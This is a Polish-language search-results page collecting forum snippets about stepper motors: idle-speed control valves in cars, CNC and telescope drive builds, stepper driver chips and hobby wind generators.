Budowa silnika krokowego

Czytasz posty znalezione dla zapytania: Budowa silnika krokowego




Temat: [E32] CZY KTOŚ POMOŻE GDZIE JEST SILNICZEK KROKOWY 735i ?
Silnik krokowy to silnik a to jest po prostu regulator. Zasadniczą różnicą jest ich budowa: silnik krokowy ma kilka uzwojeń ułożonych wokół wirnika i sterowanych odpowiednią elektroniką, dodatkowo posiada wbudowany licznik kroków i może obracać się co jeden stopień wokół swojej osi (przeważnie co 1 stopień ale są też dokładniejsze urządzenia). W regulatorze wolnych obrotów zastosowanym w naszych autach jest zwykły elektromagnes zbudowany w dość ciekawy sposób. Przesłona dostarczająca powietrze jest przytwierdzona do trzpienia i przekładni ślimakowej, która sterowana jest elektromagnesem oraz ze zwykłej sprężyny mającej za zadanie ustawić przesłonę w pozycji wyjściowej (czytaj neutralnej - zamknięty dopływ powietrza). Podając na złącze regulatora napięcie stałe z zakresu 1 -12 V uzyskamy małe lub duże otwarcie tej przesłony. Napięcie to jest podawane z Motronic'a. Myślę, że dość jasno to opisałem. Zobaczcie koledzy, że w żadnym katalogu nie ma określenia SILNIK KROKOWY WOLNYCH OBROTÓW tylko REGULATOR, ang. IDDLE STABILIZER (REGULATING) VALVE. Pozdrawiam




Temat: Silnik krokowy a napięcie zasilania.
a robił ktoś sterowniki do silników krokowych zasilanych takim niskim napięciem. Ja też czekam na 2 sztuki silników krokowych zasilanych napięciem około 2.7V. Niby sprawa jest prosta bo silnik krokowy to silnik krokowy i juz ( nie mowie tutaj o różnicach w budowie ja bipolarny czy unipolarny). Mimo wszystko na kostkach typu L6280 czy L297 i L298 podane jest (o ile się nie mylę) minimalne napięcie które jest kilkukrotnie wieksze od 3V.





Temat: silniki krokowe a silniki DC
Ja bym użył normalnych silników a jeśli wymagana jest precyzja, z enkoderami.
W silnikach krokowych potrzebny jest sterownik, co znacznie utrudnia i komplikuje budowę robota.
W DC łatwo się steruje kierunkiem przez mostek H, prędkością przez PWM.
Nie widzę większego sensu stosowania silników krokowych.



Temat: Dziwne zachowania Caro 1.4 MPI - przypadek I


1. TYLKO w zimie, wiec dawało sie przezyć, nie szukałem na siłę, więc i
nie zidentyfikowałem problemu jednoznacznie:

- jadąc z dużą prędkościa (szosa sucha : obroty silnika ok. 5 tys),
po zdjęciu nogi z gazu, silnik pozostawał nadal na tych wysokich obrotach.
i pędził auto na złamanie karku, gdy trzeba było wytracić predkość :)
Zacięcie ujawniło sie na przepustnicy powietrza do kolektora (silnik
krokowy?)
Działo się to przy mroźnej pogodzie. W lecie- ani razu.
(...)
Dlaczego tak się mogło dziać? ?

( zupełnie nie znam budowy silnika krokowego w tych 1.4MPI...)


Z pewnością nie jest to silnik krokowy. Obstawiam zacierającą się
przepustnicę lub linkę gazu (w zimie zamarza w nie woda lub kurczy się
pancerz pod wpływem temp.)??





Temat: Silniki krokowe - Budowa, funkcjonowanie i sterowanie
SILNIKI KROKOWE
Budowa, funkcjonowanie i sterowanie

Artykół z EdW Marzec 2000



Temat: Nierówna praca silnika
Silnik krokowy to takie urządzonko, które (przede wszystkim na wolnych obrotach) wykonuje polecenia centrali sterującej (komputer) regulując ilością dostarczanego do silnika gazu (przede wszystkim po to, by obroty utrzymywać na tym samym poziomie - a to dzięki właśnie sygnałom z kompa, który znów zbiera info o spalaniu z innych części silnika jak np. sonda lambda). Gdy jest przybrudzony (a przez gaz, który pozostawia zazwyczaj dość obfitą sadzę - czemu? tego nie do końca wiem, zapewne wynika z budowy chemicznej), silnik krokowy nie pracuje równo - złą ilość gazu przepuszcza (stąd nierówne obroty - zwykle za małe lub falujące).

Nie wiem czy się jasno wyraziłem ... ale czy to mniej więcej naświetla ideę?




Temat: Dziwne zachowania Caro 1.4 MPI - przypadek I
1. TYLKO w zimie, wiec dawało sie przezyć, nie szukałem na siłę, więc i
nie zidentyfikowałem problemu jednoznacznie:

- jadąc z dużą prędkościa (szosa sucha : obroty silnika ok. 5 tys),
po zdjęciu nogi z gazu, silnik pozostawał nadal na tych wysokich obrotach.
i pędził auto na złamanie karku, gdy trzeba było wytracić predkość :)
Zacięcie ujawniło sie na przepustnicy powietrza do kolektora (silnik krokowy?)
Działo się to przy mroźnej pogodzie. W lecie- ani razu.
Próby przygazowywania ( by "zerwać" zaciecie -bez otwierania maski)
nie dawały efektu.
Sposób?- wyłaczenie zapłonu silnika, wyhamowanie, otwarcie maski,
reczne odblokowanie przepustnicy, i RUSZAMY znów ;)

Dlaczego tak się mogło dziać? ?

 ( zupełnie nie znam budowy silnika krokowego w tych 1.4MPI...)





Temat: [E36] czyszczenie silniczka krokowego
panowie silniczkow krokowych sie nie czyści,kupuje się nowe lub używki,a ten kto ma inne zdanie to niech zapozna się dobrze z budową silniczka krokowego i stwierdzi to samo.Bo płukając go wymywasz smar który smaruje łożyska igielkowe i po zamoczeniu go w jakimś plynie np benzynie moczysz całą cewke.a pozatym jest tam wiele innych mechanizmów które ulegają zużyciu także nie polecam moczyć tego silniczka.



Temat: Spadek obrotów

grig,
Oćkę wyciągasz normalnie ręką, czy przy pomocy napięcia?


Tylko ręką, niewolno tam podłączać żadnego napięcia bo uszkodzimy silniczek. To jest silnik krokowy i sterowany jest odpowiednimi impulsami, które powodują obrót wirnika o odpowiedni kąt. Podanie tam jakiegokolwiek napiecia uszkodzi silniczek.
Tu jest opisana budowa silników krokowych, jeśli ktoś by chciał się coś więcej o nich dowiedzieć .... http://www.r2d2.faith.pl/opis_podzespolow.html



Temat: Instalacja gazowa

Niestety się mylisz . W którymś z wątków jeden z forumowiczów podał linki do schematów Logana (plik: MR388LOGAN1.pdf z archiwum: logan_mr_pl.part1.rar strona nr. 181 na lewym obrazku oznaczone jako 7 w kółku) i w tych schematach można znaleść urządzenie które reguluje ilością powietrza dostarczaną na biegu jałowym i przy uruchamianiu silnika. Jest nim silnik krokowy (nazwa pochodzi od sposobu działania). znajduje się na przepustnicy. Oczywiście mówię o silniku benzynowym.

A czy wiesz jaka jest budowa jakiegokolwiek silniczka? - jezeli tak to zobacz jak jest on zrobiony i pomyśl czy mozna go tak nazwać ? Jezeli znajdziesz silniczek o takiej budowie to gratuluje ...




Temat: [R216 Si 1.6 97r]obroty na jałowym wieszają się na ok 2tys

a może wystarczyłoby wyczyścić i nasmarować linkę -spróbuj.

ktora linke dokladnie ?

tu mam budowe silniczka krokowego i nie wyczytalem nic o zadnej lince...:
http://www.roverki.pl/article.php?sid=413



Temat: Silnik krokowy?

 napęd CD-ROM. Znalazłem tam silnik
| który służył do kręcenia płytką CD. Na pierwszy rzut oka wygląda mi on na
| silnik krokowy. Jednak co mnie dziwi to to że ma on 3 wyprowadzenia.
| Zawsze myślałem że silniki krokowe mają 4 :

Prawdopodobnie jest to silniczek taki jak w stacjach 5,25", czyli zwykły
silniczek zasilany z 5V i 12V. Trzeci przewód to masa.


Witam.
Nieeeeee
To jest silnik trójfazowy -dlatego trzy przewody -zasilany jest z układu
scalonego takiego mini falownika. te trzy czarne ustrojstwa -to hallotrony -
czujniki połozenia wirnika -na podstawie sygnału z nich scalak załacza
odpowiednie cewki uzwojenia silnika -silnik chodzi jako synchroniczny -
hallotrony dbają aby nie wypadł z synchronizmu, pozwalają na szybszy rozbieg -
i bardzo upraszczają budowę falownika...
Pozdrawiam.
Witek





Temat: Frezarka CNC

Cieszę się że zdecydowałeś się założyć ten temat !
Napisz jakie wymiary będzie miała Twoja maszynka ?
Chodzi o wymiary pola roboczego frezarki ,
czy będzie frezować w dwóch , czy w trzech wymiarach ?

czy silniki krokowe wystepujace w drukarkach wraz ze sterownikami sa do czegos przydatne,
jakimi napieciami sa zasilane silniki, jakie powinny byc ich moce
no i do czego te maszyny sluza (najczesciej)
mam pare pytan jeśli można, odnośnie budowy maszynki CNC a mianowicie chciałbym przerobić tokarke ze sterowaniem na CNC,
Potrzebne są dwa silniki i sterowniki do nich oraz PC
Co do doboru silników to nie pomogę bo jak napisał Piotrek trzeb zmierzyć moment jaki jest potrzebny do pokonania tarcia na suporcie. Możesz sprawdzić to eksperymentalnie lub fachowo. Ja bym zdobył jakieś silniki od drukarki i zamocował prowizorycznie sprawdzając czy da radę pociągnąć suport nie gubiąc kroków, jeżeli da radę, lub będzie gubił kroki to będziesz wiedział, że ten silnik jest za słaby, lub że wystarczy

Ogólnie to mamy dwa sposoby napędzania osi w maszynach CNC:
- silniki krokowe
- serwosilniki

Pierwszy polega na tym, że to my decydujemy ile kroków ma wykonać silnik i to jest dobre ale "wolne"
W drugim przypadku mamy zwykłe silniki z których odczytujemy ich położenie jak z myszki. I program odczytuje położenie i decyduje czy zmienić kierunek czy zatrzymać. Serwa są bardzo szybki i mocne ale i bardzo drogie więc do amatorskich rozwiązań wykorzystuje się silniki krokowe.



Temat: Wolne obroty
Mam Opla Astrę z 1995 roku, 1.6 16 V, benzyna. Od niedawna zaczął gasnąć mi silnik podczas jazdy. Zauważyłem, że ma to miejsce wtedy, gdy wcisnę sprzęgło i wrzucę na luz. Obroty spadają poniżej 500/min i silnik gaśnie. Nie zawsze, ale gaśnie, czego danwiej nie było. Podobna sytuacja jest wtedy gdy jadę przykładowo na 3 biegu, na obrotach w granicach 1500/min. i robię redukcję na 2 bieg. Jak redukcja nie będzie zrobiona w szybkim tempie, to jak wyżej - lecą obroty i gaśnie. Co o tym myślicie? Słyszałem, że najprawdopodobnej będzie do wymiany silnik krokowy. Odnośnie silników krokowych, patrzyłem na allegro. Znalazłem silniki używane w cenie 80 zł, ponoć w 100% sprawne (nie wiem jedna ile rzeczywiście są warte) oraz silniki 3 razy droższe ponoś oryginalne np. Siemensa. Proszę o radę który bardziej warto kupić? Poza tym myślałem, że silnik krokowy do danego modelu jest na wygląd taki sam, a wcale tak nie jest. Te Siemensa są innej budowy niż te tansze.
Dzięki za wszelką pomoc.
Pozdrawiam.



Temat: WWW.AKCESORIA. CNC.INFO.PL - silniki krokowe mechaniaka
www.akcesoria.cnc.info.pl

Sklep działający przy portalu www.cnc.info.pl dotyczącym budowy maszyn sterowanych numerycznie.

Możesz kupić tu akcesoria do budowy tych maszyn:
silniki krokowe, sterowniki silników krokowych
• Prowadnice liniowe, łożyska liniowe
• przekładnie pasowe, pasy i koła zębate,
• śruby trapezowe, nakrętki z brązu
• sprzęgła precyzyjne
• listwy zębate
Oraz wiele innych elementów konstrukcji maszyn



Temat: eksperyment cd-n
Na starość chyba dziecinnieję, bo ciągle mnie korci aby rozbierać różne
zabawki by zobaczyć co jest w środku Niedawno rozebrałem silnik krokowy.
W zasadzie jego budowa jest identyczna jak dynama rowerowego. Różni się od
niego większą ilością szczelin. Gdy silnik pracuje jako pradnica, to
przekłada się na większą wolnoobrotowość (ale mi się napisało ). Moje
silniczki od drukarki mają moc porównywalną z dynamem rowerowym. IMHO do
zabawy w modele wiatraków silniki krokowe z drukarek nadają się idealnie,
bo dają rozsądne napięcia bez przekładni. Bez obciążenia mój Sawonius daje
ponad 12V na jedno uzwojenie. Ponieważ silnik krokowy ma dwa uzwojenia
dałem za nimi mostki gretza i następnie połączyłem je szeregowo. W efekcie
dioda świcąca zapala się nawet przy najmniejszym podmuchu powietrza. Jak
dobrze wieje, to bez problemu zasila 12V żaróweczkę. Z kilku LED zrobiłem
wskaźnik prędkości wiatru. Za każdym razem gdy świeci jak choinka krew mnie
zalewa, że na dachu stoi tylko mała zabawka a nie poważny wiatrak A
miejsce w którym mieszkam jest wyjątkowe, całkowicie bezwietrzne dni można
policzyć na palcach jednej ręki



Temat: Zrób to sam - elementy astrografu (prowadzenie, guide, goto)
Pierwszym opisywanym elementem jest sterownik silników krokowych, który można zastosować do wszystkich istniejących na rynku montaży EQ,CG od wersji 3 w górę, Soligor, SVP i podobnych mających typowe silniki krokowe z krokiem 7.5 stopnia i z przekładnią 1:120. Sterownik można wykorzystać również do współpracy z własnymi rozwiązaniami ATM ale z pewnymi ograniczeniami, które mogę wyjaśnić oddzielnie.
Sterownik silników krokowych jest elementem występującym we wszystkich następnych opisywanych rozwiązaniach.
Najprostszą do wykorzystania konfiguracją jest użycie sterownika w połączeniu z AstroPilotem do śledzenia obiektów nieba z prędkością jego ruchu. Już dla jednej osi z napędem możliwa jest korekta ruchu montażu a jeśli montaż ma dwie napędzane osie to możliwe jest również ręczne korygowanie położenia dla obu osi co jest istotne przy astrofotografii z dłuższymi czasami. Ta najprostsza konfiguracja może stanowić podstawę do budowy bardziej złożonego systemu np. guide w jednej lub w obu osiach z pomocą programu GuideDog i urządzenia pośredniczącego - RelayBox-a o czym będzie w następnym odcinku. A na razie konfiguracja podstawowa czyli sterowanie w jednej osi:



Więcej na ten temat znaleźć można pod adresem:

http://www.lx-net.prv.pl/zs/zs2.htm

L.J.



Temat: Najprostszyt sterownik silnika krokowego


w normalnym silniku masz 4 cewki


Czasami 2, czasami 5....


i dwa sposoby napędu


Krokowy (forsowny? ;-)* ), półkrokowy, mikrokrokowy....


zwykły - kolejno 1000,0100,0010,0001 itd
lub precyzyjny - 0111,1011,1101,1110 itd o wiela większa moc silnika i
precyzja ruchu


Tutaj opadła mi szczenka, przepraszam, nie rozumiem.
Czy 1 oznacza polaryzacje cewki? w takim razie w 2 przypadku polaryzujesz zawsze
3 cewki, a wiec dwie z nich produkuja tylko cieplo, gdyz ich pola znosza sie
wzajemnie. Nie....czegos nie rozumiem chyba.


lpt może być zbyt wolny silniki krokowe mają obrót około 3 stopni na krok to
jest 120 kroków na jeden obrót  (zależy jakie prędkości obrotowe
potrzebujesz - taki układ był kiedyś opisany w ep


120? zawsze wydawalo mi sie ze najpopularniejsze sa 1.8 stopnia, czyli 200
krokow na obrot. Czasami w hdd bywały ciekawsze, bo 1,875 stopnia (192k/obr), a
w drukarkach 7.5 stopnia czy jakos tak (zalezy czy od glowicy czy od papieru).

Generalnie proponuję lekturę www.silniki.pl, jest tam trochę teorii na temat
sterowania i budowy krokowców.

Poza tym wszystkim - witamy na grupie.
__
Pzd, Irek.N.
* pewnie miałeś na myśli to, iż polaryzując dwa uzwojenia na raz można utrzymać
na silniku większy moment - zgoda, ale silnik w końcu się ugotuje, a jeśli
obniżysz wartości prądów w tych uzwojeniach aby silnika nie przegrzać -
dojdziesz (momentem wyjściowym) do układu z zasilaną jedną cewką - gdzie więc
zysk?





Temat: cnc czy kiedyś będzie w EP ?
SWSTR, wiekszosc popularnych grawerek / wiertarek sterowanych z portu LPT nie wykorzystuje zadnego protokolu. Sterowanie polega na tym, ze PC (program) generuje na poszczegolnych pinach portu sygnal prostokatny o czestotliwosci zaleznej od zadanej predkosci obracania sie silnika. Ilosc wygenerowanych impulsow decyduje o ilosci obrotow wykonanych przez silnik, w tym przypadku krokowy. Dodatkowo, wystawia na kolejnym pinie sygnal kierunku. Dla obrotu w prawo umownie H i wlewo L. To tyle. Sytuacja jest jednakowa dla kazdej z osi, wiec dla 3 osi wykorzystane jest 6 pinow LPT. Dodatkowo wiekszosc z programow wykorzystuje pozostale wejscia do testowania wylacznikow krancowych, np. informujacych, ze uklad mechaniczny znajduje sie w zerze lub zbliza sie do konca stolu.
Budowa sterownika jest dziecinnie prosta. Wystarczy jeden mikrokontroler i kilka driverow mocy. Program mikrokontrolera powinien reagowac na impulsy z LPT i generowac sekwencje dla silnikow krokowych. Zatem na 1 impuls z LPT mikrokontroler wykonuje 1 sekwencje krokowa. Nie zapomnij o kierunku. Stan na wejsciu mikrokontrolera powinien decydowac, czy sekwencja powoduje obracanie sie silnika w prawo, czy w lewo. Wejsc wylacznikow krancowych nie trzeba podpinac do uK, chyba ze chcesz upiekszyc sterownik np. w wyswietlacz LCD informujacy o stanie mechaniki grawerki/wiertarki.

Istnieja tez prostszem metody. Jedna z nich jest wykorzystanie scalonych driverow silnikow krokowych np. L297 razem z L298.

Jesli jestes zainteresowany schematem w miare profesionalnego ukladu sterowania 3 osiami z LPT, podaj e-maila, a wrzuce ci go na skrzynke.



Temat: Animatronika
O kuuuuuurcze! Cena wcale nie jest taka niska zwłaszcza, że potrzebuje 6 - 8 tych małych serwomechanizmów do 3kg. Robot będzie (mam nadzieję) w miarę lekki, więc nie będzie trzeba stosować tych drogich SM ). Ale zaciekawił mnie temat tych silniczków krokowych ze stacji dyskietek, (mówisz o tych, które poruszają głowicą czytnika).. Do poruszania nóg to one raczej się nie nadają, ale można je wykorzystać gdzie indziej. Miałem trochę z nimi do czynienia, (i tu kolejny problem ) nie mam zielonego pojęcia jak sprawić żeby silniczek się obrócił chociaż o 1 stopień:|. Wszystkie dostępne schematy pozwalające sterować silnikiem krokowym, przeznaczone są do silników o dużych (zbyt dużych) rozmiarach i innych wyprowadzeniach. Ale w jednym z czasopism znalazłem sposób przerobienia silnika krokowego, ale z twardego dysku (naturalnie starego HDD) poruszającego talerzami. Ale tego jeszcze nie sprawdziłem z braku czasu .<br>Ratujcie!!!!!!!! jestem otwarty na wszelkie podpowiedzi . <br>O postępach w projektowaniu robota będę w miarę możliwości informował na bieżąco.<br>Jestem na razie na etapie zbierania informacji na temat elementów potrzebnych do budowy



Temat: Gdzie miniaturowe silniki krokowe?


Gdzie w PL (w ostateczności w innym kraju UE) kupię miniaturowe silniki
krokowe ze zintegrowaną przekładnią? Chcę je wykorzystać do budowy
wskaźnika / zegara i wymaganie jest takie, aby oś można było obrócić o
360' (no powiedzmy o 270') w czasie nie dłuższym niż 1s i żeby
rozdzielczość była przynajmniej 100 kroków / obrót (dlatego
przekładnia).


A może zrobić serwo - mały silniczek DC z modelu kolejki elektrycznej
wielkości TT (albo nawet Z czy N), a sygnał zwrotny z enkodera z zerowym
punktem odniesienia lub potencjometru.


Chyba że ktoś mi wyjaśni w prosty sposób jak sterować
silnikiem ćwierćkrokowo,


Musiałbyś poszukać scalaka do sterowania mikrokrokowego - mając silnik z
dwoma uzwojeniami czoperujesz prąd na różnych poziomach. Chociaż przy
tak niewielkich rozmiarach to może liniowe źródło prądowe nawet nie
będzie się grzało, więc dałbym procka z dwoma wyjściami DAC.


to standardowe okolice 40 kroków na obrót
wystarczą :)
Firmę Wobit znam i jeśli nie padną inne propozycję, to będę testował to
co mają w ofercie.

Dariusz Żołna


SM





Temat: mechanizm do teleskopu
Witam
Bardzo duzo informacji jest w internecie. Wydaje mi sie ze silnik jest zle
dobrany - ale to sa mysli laika :) Najtanie bedzie chyba na Wolumenie. Choc
ktos podpowiedzial mi ze silniki krokowe np. w stacji 5,25 to dobra rzecz -
ale chyba za slaba do teleskopu? Poza tym chcialbym moc sterowac przez panel
na komputerze :) A tu juz klania sie gniazdo lpt1 (najprostsze do sterowania
i... najlepsze).
Jaki masz teleskop - waga i mocowanie???
Jakie zastosowales sterowanie?

Pozdrawiam
PJan


Probuje zrobic taki mechanizm przy uzyciu silnika od wycieraczek
samochodowych. Udalo mi sie otrzymac odpowiednie przelozenie i zmniejszyc
troche obroty silnika. Budowe skoncze za tydzien do jade do woja ktory ma
tokarke aby zrobic kilka trybow i innch czesci. Obawiam sie troche ze beda
drgania i ciagle mysle jak sie ich pozbyc. Moze jakies pomysly?

pzdr
| Witam
| Czy ktos probowal zbudowac mechanizm do prowadzenia teleskopu? Nawet
| "delikatni" nie ustrzega sie potracen statywu. Tymczasem mechanizmy
bazujace
| na sinikach krokowych sa bardzo delikatne i... ciche. Jesli ktos
probowal
ta
| kromke to prosze o odzew :)

| ps. przeciez Polak potrafi zrobic coz z niczego ;)






Temat: sterownie silnikiem krokowym przy pomocy PLC
Proszę o pomoc lub ewentualną radę w moim projekcie. Mam za zadanie zaprojektować sterowanie zgrzewarki do folii.

Jej budowa jest bardzo prosta, składa się z dwóch elementów na osobnych wałkach połączonych ze sobą kołami zębatymi tak, że w miejscu docelowym umieszczone na nich nagrzewnice spotykają się wykonując swoje zadanie. Wszystko napędzone jest jednym silnikiem który musi realizować dwie prędkości obrotowe na zmianę.

Problem polega na tym że wałki mają się z b.dużą prędkością przemieszczać do pozycji zerowej, aż czujnik optyczny wykryje detal, wtedy z małą prędkością przemieszczają się powodując zgrzanie i znów z dużą na pozycję zerową.

Uznałem iż dobry do tego celu będzie silnik krokowy (jeśli nie to wyprowadźcie mnie z błędu:P), ze względu na niewielki koszt i prostotę sterowania.

Odnośnie sterowania proszę o pomoc. Dysponuję sterownikiem LG master K 120 S, czy nadaje się on do takiego sterowania, dodatkowo potrzebuję pomocy przy opracowaniu programu sterującego, dokladnie problemu zmian prędkości.

Z góry dzięękuję za pomoc i cierpliwośc. pozdrawiam



Temat: Zamula mi na zimnym silniku. 2.0 TS
witam w klubie kabelkowym VAG-a KKL.
Po pierwsze poniżej stronka autora programu UnidiagKWp2000 jak ustawic parametry uarta.
z tym jest zawsze problem i potem sa przerwy w transmisji.
-- http://home.wanadoo.nl/sanderqv/diag/
-- falowanie obrotów to wynik złej budowy mechanicznej przepustnicy oraz rurki odmy.
-- spadajaca mgła olejowa zaślepia światło "bypasa" przepustnicy i obroty spadaja.
Jak spadaja to ECU daje na wieksze, jak są większe to film olejowy jest zrywany i mamy wieksze obroty.
ECu teraz zmniejsza obroty do biegu jałowego, przepustnica zatyka sie olejem , ECU zwieksza obroty, ............
Jakie jest wyjscie:
-- przeczyścic odmę, przepustnicę i ustawic obroty biegu jałowego z pomocą silnika krokowego.

-- do regulacji obrotów biegu jałowego nie słuzy srubka przy przepustnicy tylko dwa parametry w programie:
1. Idle speed actuator
2. Reset Idle speed controller
Parametr drugi słuzy do tej regulacji jesli był wyjmowany silnik krokowy.
Parametr pierwszy powinien byc stosowany jesi była czyszczona przepustnica lub była usunieta dziura w dolocie do przepustnicy.

Jakie powinny byc parametry eksploatacyjne mierzone programem:
-- mierzymy TRA, FRA oraz Lambda Regulation Row 1
TRA --> 0.8 -- 1.2
FRA +/- 40.000 usek
Lambda regulation row 1 0.97 -- 1.03
A z tym twoim ECU to jakaś dziwna sprawa , ale jak w programie wybiore M7.31 to też wykres pokaże że mam M7.31 a mam M1.5.5
--




Temat: Gdzie miniaturowe silniki krokowe?
Gdzie w PL (w ostateczności w innym kraju UE) kupię miniaturowe silniki
krokowe ze zintegrowaną przekładnią? Chcę je wykorzystać do budowy
wskaźnika / zegara i wymaganie jest takie, aby oś można było obrócić o
360' (no powiedzmy o 270') w czasie nie dłuższym niż 1s i żeby
rozdzielczość była przynajmniej 100 kroków / obrót (dlatego
przekładnia). Chyba że ktoś mi wyjaśni w prosty sposób jak sterować
silnikiem ćwierćkrokowo, to standardowe okolice 40 kroków na obrót
wystarczą :)
Firmę Wobit znam i jeśli nie padną inne propozycję, to będę testował to
co mają w ofercie.

Dariusz Żołna





Temat: Tani zasilacz do zasilania silników krokowych.
Witam wszystkich

Przymierzam się do budowy maszynki CNC i pomyślałem o zasilaczu do silników krokowych. pomyślałem sobie, a gdyby tak zastosować zasilacz komputerowy do zasilania.
Łatwo dostępny towar za grosze czasem a wystarczy zmienić 1 rezystor aby dopasować napięcie jakie potrzeba filtr ze stabilizacją i zabezpieczeniem przeciwzwarciowym w jednym.

Do wad ze swoje doświadczenia mogę wymienić w pewnych wypadkach wymiary i to że można otrzymać tylko jedno napięcie o odpowiadającej nam wartości bo reszta też się zmieni, a do plusów zaliczam cenę i wydajność prądową.

Proszę o opinię na ten temat, a może też ktoś już przerabiał tak zasilacze?



Temat: 1

wydawało mi się że nie ma silniczka krokowego w tym silniku
Jest to możliwe. Jak pisałem wyżej swoją wypowiedź oparłem o budowę osprzętu do silnika B5204T, a B5244T nie widziałem nawet na oczy.

[ Dodano: 2009-05-11, 12:07 ]



Temat: Wiedza tajemna..

tutaj po części mogę się zgodzić z Altronikiem. Nie lubię robić nic dla pacjenta który nie ma bladego pojęcia o tym w co wierzy, mało tego, chce być mądrzejszy od krowy.

A takich jest jeszcze wielu. Ostatnio mnie klient pytał jak działa silnik krokowy, egr itd. Jak mu opowiedziałem dokładną budowę i zasadę działania silnika krokowego to cisnęło mi się na usta pytanie: i co? zdałem



Temat: Jakie silniki krokowe?
Witam.

Zastanawiam się nad budową styroplotera 4 osiowego. Oczywiście tanimi kosztami ponieważ bedzie to mój pierwszy ploter. Chce zrobić dosyć duży ploter, około 2,5m x 1,80m x 1,5m. Jakich użyć silników krokowych?? Czy 0,9 Nm wystarczy? Czy uzyć silniejszych?
Pozdrawiam



Temat: Który silnik najmniej awaryjny i bezproblemowy...?
ja mam silnik X14SZ. Podstawowa różnica pomiędzy poprzednikiem C14NZ to elektroniczny moduł zapłonu - niezużywające się i niezawodne urządzenie (DIS). Zastępuje cewki zapłonowe, palec, kopułkę generator hallotronowy, czujnik Halla.
Mimo to jest jednak prostszy w obsłudze i budowie bo wszystkim steruje komputer: nie ustawia sie zapłonu, dzieje sie to automatycznie przez czujnik spalania stukowego.
Zamiast łańcucha rozrządu posiada pasek wieloklinowy - automatyczna regulacja naciągu dla alternatora. Wtrysk jednopunktowy. Mechanicznie prosta budowa. MOżliwość zaślepienia EGRa zwykłą blachą bez żadnych dziurek - odkręcasz dwie śruby i gotowe.
(podobno) często padający silnik krokowy kosztuje 70zł na allegro.
Nie ma przepływki. Wymiana sprzegła bez wymontowania skrzyni biegów.
W sumie prosty w budowie i dość niezawodny. Mało pali w trasie. Troche dużo w mieście.
Mam przebieg 150 tys i co prawda ostatnio mi szwankował z wysokimi obrotami, ale elektryk cudotwórca ożywił go i chodzi jak nowy. W kabinie nie słychac silnika, nie wiadomo czy działa czy nie.

Ja bym sie zastanawiał też nad dislem ale klasycznym - bardzo ekonomiczny wg książki. Nie wiem jak silnik awaryjny.



Temat: Silniki skokowe(krokowe) ,budowa - które normy??
Witam, potrzebuje informacji z norm na temat budowy i oznaczeń silników skokowych. Jedyną normą jaką znalazłem, która dotyczy tych silników, jest "PN-E-06836: Maszyny elektryczne wirujące. Maszyny do sterowania. Silniki skokowe". Nie ma w niej jednak nic na temat budowy, oznaczeń... Może ktoś się tym interesował i może coś podpowiedzieć??



Temat: Czy zużyte świece mogą być przyczyną falujących obrotów?
NIE NIe i jeszcze raz NIE..........kiedy wlaczasz swiatla dajesz wieksze obciazenie silnikowi.........w tym momeci kompouter powinien tak sterowac silnikiem aby lekko podniesc mu obroty do stanu prze wlaczeniem swiatel...........a u ciebie siada silnik( spadaj obortyi czesto faluja) i nie ma rekacji.......ja mowie ci ze masz rozregulowana przepustnice-moze cos jest z TPS albo ktos ja regulowal srubka( ja to stpsuje co jest TOTALNA PROFANACJA u siebie w celu wyregulowania optymalnego ustawienia na pb i lpg-jednak tak byc nie powinno, z racji takiej budowy ukladu dolotowego i sterowania wolnych obrotow silnikiem krokowym-przeplywowym sa problemy z lpg | i || generacji) u mnie kiedy odpowiednio ustawie przepustnice i mam skasowane DME silnik wzorcowo reaguje na kazde dodatkowe obciazenie podnoszac mu obroty-gdy mam juz srubka uchylona przepustnice tak sie nie dzieje,podejzewam to u ciebie( dodatkowo przeczysc krokowca lubia sie przycinanc i sle sa zliczane impulsy)

Padnieta uszczelka to zdecydowanie smietana pod korkiem od oleju, bialy dymek z wydechu i ubywajacy plyn chlodzacy




Temat: co to za silnik (pompa wodna) ?
Witam

Budowę pompy z silnikiem którego wirnik wykonany jest z magnesów neodymowych w przekroju znajdzie kolega na stronie internetowej j.n.
http://www.lfp.com.pl/pl/pdf/katalog/POe.pdf
Zasada działania oparta jest na budowie hybrydowego silnika krokowego. W zależności od typu wbudowanej przetwornicy częstotliwości silnik może pracować z stałą lub zmienną prędkością obrotową. Pompa kolegi z podanej strony internetowej typ Hailea HX68xx jest pompą cyrkulacyjną pracująca z stałą prędkością obrotową.



Temat: Alternator -> Silnik
Hello J,


| Szukam silnika, który zasilany z akumulatora 12V miałby ok. 300-400W i
| prędkość do 800 obrotów na minutę.
| Rozrusznik + przekładnia?
| Rozkręciłem alternator od poloneza i
| wydaje mi się, że przy odpowiednim zasilaniu mógłby pracować jako silnik.
| Bez sensu.
Sens jest. Tylko trzeba byc bieglym w budowie falownikow.


Raczej sterowników do silników krokowych ;-D


A do czego ten silnik - moze od pralki bedzie dobry ?


12V? Od pralki? To już wolałbym alternator...





Temat: problem z zimnym silnikiem

Witam
Mam problem Tempra 2.0 V8 na pełnym wtrysku. Przy odpaleniu na zimnym silniku są obroty wysokości 400, zaczyna się męczyć i gaśnie, przy dodaniu gazu i puszczeniu silnik schodzi dalej na 400 i gaśnie, po nagrzaniu silnika wchodzi na 800 obrotów i jest w miarę ok. czasami schodzi tylko na 600. Czy to może być silnik krokowy? Jak tak to gdzie on się znajduje i jak wygląda. Z góry dziękuję za wszystkie porady.


2.0 8V nie ma krokowca, masz zawór obejsciowy, znajdziesz po prawej stronie glowicy, latwo go odnalezc bo dochodzi do niego waz idacy od gumy laczacej filtr powietrza z przepustnica. Jesli jest nie sprawny to wlasnie moga byc takie problemy jak u ciebie, w momencie przekrecenia kluczyka w stacyjce jeszcze przed odpaleniem powinno byc slychac jak komp. od wtrusky parokrotnie pyknie tym zaworem, jesli jest cisza to nie dziala, wtedy na poczatek odepnij z niego kostke i jesli masz jakis multimetr zmiez czy na wolnych obrotach dochodzi do niego 12V, jesli tak a nie dziala rozbierz zawor jest prosty w budowie, wyczysc dokaldnie i poskladaj, mozesz na krotko podac na niego tez napiecie i sprawdzic czy sie zalancza.

Do regulacji wolnych obrotow masz tez taka srube od gory na przepustnicy, moze masz zle to wyregulowane... ale raczej jest cos nie tak z tym elektrozaworem.



Temat: civic Vgen - Dziwne gniazdo na dolocie

Mam ci zrobić zdjęcie z wybitym oznaczeniem tego silnika na bloku? Skompromitujesz się wtedy kompletnie.

Możesz wklejać co chcesz
1-Silnia D16Y7 ma inne rozwiązanie kolektora
2-ma inny silniki krokowy działający na podobnej zasadzie jednak jest inaczej wysterowany to co prezentujesz więc na razie się sam kompromitujesz.
